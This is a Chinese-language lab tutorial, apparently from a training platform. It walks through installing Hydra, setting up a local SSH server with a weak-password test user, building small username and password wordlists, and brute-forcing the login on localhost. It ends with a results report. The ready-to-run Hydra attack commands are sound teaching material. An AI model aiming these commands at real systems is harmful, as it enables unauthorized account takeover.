简介
在本次实验中,你将学习如何使用 Hydra(网络安全领域中一款流行的密码破解工具)对 SSH 服务进行暴力破解攻击。本练习涵盖了 Hydra 的安装、使用弱凭证设置目标服务器,以及使用预先准备好的字典文件执行攻击等内容。
你将通过实践,掌握配置 SSH 测试环境的方法,并分析 Hydra 的暴力破解能力。本次实验将展示现实世界中的攻击场景,同时在可控环境中强化道德黑客的原则。
在本次实验中,你将学习如何使用 Hydra(网络安全领域中一款流行的密码破解工具)对 SSH 服务进行暴力破解攻击。本练习涵盖了 Hydra 的安装、使用弱凭证设置目标服务器,以及使用预先准备好的字典文件执行攻击等内容。
你将通过实践,掌握配置 SSH 测试环境的方法,并分析 Hydra 的暴力破解能力。本次实验将展示现实世界中的攻击场景,同时在可控环境中强化道德黑客的原则。
在这一步中,我们将安装 Hydra,它是一款强大的密码破解工具,可用于对各种网络服务进行暴力破解攻击。Hydra 在渗透测试中特别有用,因为它可以系统地尝试不同的用户名和密码组合,以访问受保护的系统。它支持多种协议,包括 SSH(我们将在本次实验中使用)、FTP、HTTP 等。
首先,在你的 LabEx 虚拟机环境中打开终端。终端是你在 Linux 系统中运行命令的主要界面。确保你位于默认工作目录,我们将在该目录下完成所有实验操作:
cd ~/project
在安装任何新软件之前,更新软件包列表是一个好习惯。这可以确保你能获取到 Hydra 及其所有依赖项的最新可用版本:
sudo apt update
现在,我们将使用 apt 包管理器来安装 Hydra,apt 用于在基于 Debian 的系统(如 Ubuntu)上处理软件安装。-y
标志会自动确认安装:
sudo apt install -y hydra
安装完成后,让我们通过检查其版本来验证 Hydra 是否正确安装。head -n 1
命令仅显示输出的第一行,其中包含版本信息:
hydra -h | head -n 1
你应该会看到类似以下的输出:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra 还为喜欢图形界面工具的用户提供了图形界面版本。虽然在本次实验中我们将使用命令行版本,但你也可以选择安装 GTK+ 图形界面版本:
sudo apt install -y hydra-gtk
在这一步中,我们将配置一个本地 SSH 服务器,它将作为后续步骤中密码破解的目标。这使我们能够在可控环境中练习渗透测试技术。SSH(安全外壳协议)是一种用于计算机之间安全远程登录的协议,为了学习目的,我们将设置一个易受攻击的版本。
首先,确保你位于默认工作目录。这很重要,因为我们希望将所有实验文件组织在一个地方:
cd ~/project
安装 OpenSSH 服务器软件包。该软件将把你的机器变成一个可以接受远程连接的 SSH 服务器:
sudo apt install -y openssh-server
创建一个专用的测试用户账户,并设置一个弱密码(仅用于演示目的)。在现实世界的场景中,攻击者正是在寻找这样的弱密码:
sudo useradd -m testuser
echo "testuser:password123" | sudo chpasswd
配置 SSH 以允许密码认证(仅在本次实验中临时启用)。默认情况下,出于安全原因,许多系统会禁用密码认证,但我们在这里启用它是为了演示暴力破解攻击的工作原理:
sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
重启 SSH 服务以应用更改。配置更改生效后,服务通常需要重启:
sudo service ssh restart
验证 SSH 服务器是否正在运行。此命令检查我们的 SSH 服务器是否正常启动并正在监听连接:
sudo service ssh status
你应该会看到表明服务处于活动状态(正在运行)的输出。如果没有,可能是之前的步骤中出现了错误,需要进行故障排除。
本地测试 SSH 连接。在进入攻击阶段之前,这最后一步检查确认一切正常:
ssh testuser@localhost -o StrictHostKeyChecking=no
当提示输入密码时,输入 password123
。成功登录后,输入 exit
返回到主会话。-o StrictHostKeyChecking=no
选项可防止 SSH 要求你验证服务器的指纹,在本次实验环境中这是可以接受的。
在这一步中,我们将创建包含潜在用户名和密码的文本文件,Hydra 将使用这些文件来尝试进行 SSH 认证。这些文件对于基于字典的暴力破解攻击至关重要。字典攻击的原理是系统地尝试预定义列表中的所有可能的用户名和密码组合,因此准备好的列表非常关键。
首先,确保你位于默认工作目录。这有助于整理项目文件,并方便后续引用:
cd ~/project
使用 nano 文本编辑器创建一个用户名列表文件。在暴力破解攻击中,通常会首先尝试常见的用户名,因为许多系统使用默认或可预测的用户名:
nano usernames.txt
添加以下常见用户名(按 Ctrl+O 保存,然后按 Ctrl+X 退出):
admin
root
testuser
user
guest
创建一个密码列表文件。像这样的弱密码经常被使用,并且通常是安全测试的首要目标:
nano passwords.txt
添加以下常见密码:
password
password123
123456
qwerty
letmein
通过显示文件内容来验证文件是否正确创建。这一确认步骤可确保列表中没有拼写错误或格式问题:
cat usernames.txt
cat passwords.txt
你应该会在终端中看到你创建的列表。
(可选)使用 crunch 生成更多密码变体。这个工具可以根据指定的模式自动生成组合,帮助创建更全面的密码列表:
sudo apt install -y crunch
crunch 4 6 0123456789 -o num_passwords.txt
这将创建长度在 4 - 6 个字符之间的数字密码。该命令指定了最小长度(4)、最大长度(6)和字符集(数字 0 - 9)。
在这一步中,我们将使用 Hydra 对本地 SSH 服务器进行暴力破解攻击。暴力破解是一种尝试大量用户名/密码组合,直到找到正确组合的方法。我们将使用之前准备好的字典文件来自动化这个过程。
首先,导航到包含字典文件的项目目录。这确保 Hydra 能够找到我们创建的文件:
cd ~/project
现在,我们将使用特定参数执行 Hydra。命令结构告诉 Hydra 要攻击的目标和方式。下面来详细解释:
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -vV
参数解释:
-L usernames.txt
:指定可能的用户名列表文件-P passwords.txt
:指定密码字典文件ssh://localhost
:目标是本地机器上的 SSH 服务-t 4
:通过限制同时进行 4 次尝试来控制速度-vV
:在终端显示详细的进度信息当 Hydra 运行时,它将实时显示每次尝试的信息。当找到有效的凭证时,它们将清晰地显示在输出中,如下所示:
[22][ssh] host: localhost login: testuser password: password123
(可选)为了永久记录结果,我们可以将其保存到文件中。这对于文档记录或进一步分析很有用:
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -o results.txt
扫描完成后,你可以使用以下命令查看保存的结果:
cat results.txt
在这一步中,我们将仔细检查 Hydra 的输出,以确定在 SSH 暴力破解攻击中哪些用户名和密码组合成功了。了解这些结果有助于说明弱凭证是如何容易被利用的。
首先,让我们导航到 Hydra 存储其输出文件的工作目录:
cd ~/project
这确保我们处于可以访问结果的正确位置。
查看攻击期间生成的原始 Hydra 输出文件:
cat results.txt
你应该会看到类似以下的输出,显示任何成功的凭证对:
[22][ssh] host: localhost login: testuser password: password123
每一行都代表一次使用相应凭证的成功登录尝试。
为了了解攻击的有效性,查看摘要统计信息:
grep "successfully completed" results.txt
此命令会筛选出仅显示总尝试次数和攻击持续时间的摘要行。
让我们通过尝试进行 SSH 登录来验证这些凭证是否真的有效:
ssh testuser@localhost -o StrictHostKeyChecking=no
当提示输入密码时,输入 password123
。成功登录后,输入 exit
返回到主终端。这个实际测试确认了凭证是有效的。
创建一份简单的安全报告来记录我们的发现:
echo "Security Test Report" > report.txt
date >> report.txt
echo "Compromised Credentials:" >> report.txt
grep -A 2 "successfully completed" results.txt >> report.txt
这将创建一个带有时间戳的文档,其中包含易受攻击的凭证和攻击统计信息。
最后,查看完成的安全报告:
cat report.txt
这将为你提供一个清晰、有条理的视图,展示测试期间发现的安全漏洞。
在本次实验中,你学习了如何使用强大的密码破解工具 Hydra 对 SSH 进行暴力破解攻击。本练习涵盖了安装 Hydra、配置用于测试的 SSH 服务器,以及创建有针对性的用户名/密码列表。
你练习了执行基于字典的攻击并分析结果,展示了弱凭证是如何被利用的。这次实践经验凸显了在网络安全中使用强密码和安全认证方法的迫切需求。